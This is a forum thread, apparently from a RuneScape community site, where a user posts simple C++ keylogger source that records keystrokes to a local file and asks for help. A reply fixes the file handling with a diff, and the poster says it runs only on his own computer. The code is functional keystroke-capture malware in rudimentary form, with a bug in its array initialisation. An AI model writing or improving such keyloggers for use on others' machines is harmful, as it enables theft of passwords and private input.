• Log in or sign up for an account here: https://www.sythe.org/login

What's wrong with this?

1cy phyr3

Active Member

$25 USD Donor New
Joined
Jun 20, 2007
Sythe Gold
66
Messages
223
What's wrong with this?
I made this recently out of boredom in a good 10 minutes from my friend betting me I couldn't make a working keylogging program in a small time and after making it I noticed that it has problems with sending the text to log.txt if someone could tell me what I did wrong that would be great :D
#include <iostream>
#include <fstream>
#include <Windows.h>

int main()
{
std::ofstream Log("Log.txt");

bool AllowKey[128];

for(int i = 0; i < 128; i++)
{
AllowKey = false;
}

while(1)
{
for(int K = 0; K <= 127; K++)
{
if((bool)GetAsyncKeyState(K) == true && AllowKey[K])
{
Log << (char)K <<"\n";
Log.flush();
AllowKey[K] = false;
}

if((bool)GetAsyncKeyState(K) == false)
{
AllowKey[K] = true;
}
}
}
}
 
What's wrong with this?
We generally don't approve of keyloggers but I'm going to give you the benefit of the doubt and believe you are just doing it as a hobbyist way of learning because your friend didn't think that you could just like you said.

First of all you posted code that won't compile because you missed a colon in the 7th line. The only thing wrong with your code is that it will only work if the file already exists (appending) because you don't tell it what kind of operations the stream should expect. Tell it to expect output and it will create the file.

Here are my changes. Hopefully you can read diff output.
Code:
7c7,8
< std:fstream Log("Log.txt");
---
> std::fstream Log;
> Log.open("Log.txt", std::fstream::out);
 
What's wrong with this?
add my msn.
 
What's wrong with this?
Just a note to everyone saying it's not allowed. This is just a keylogger that runs on my computer to see if I could make one I've been teaching myself C++ for a little bit now and this is one of things I've made so far ;) If it really isn't allowed then I'm sorry :P
EDIT: Thanks for the help :) I'm not very good at it haha :P
 
Runescape Gamblingrunescape gambling
Back
Top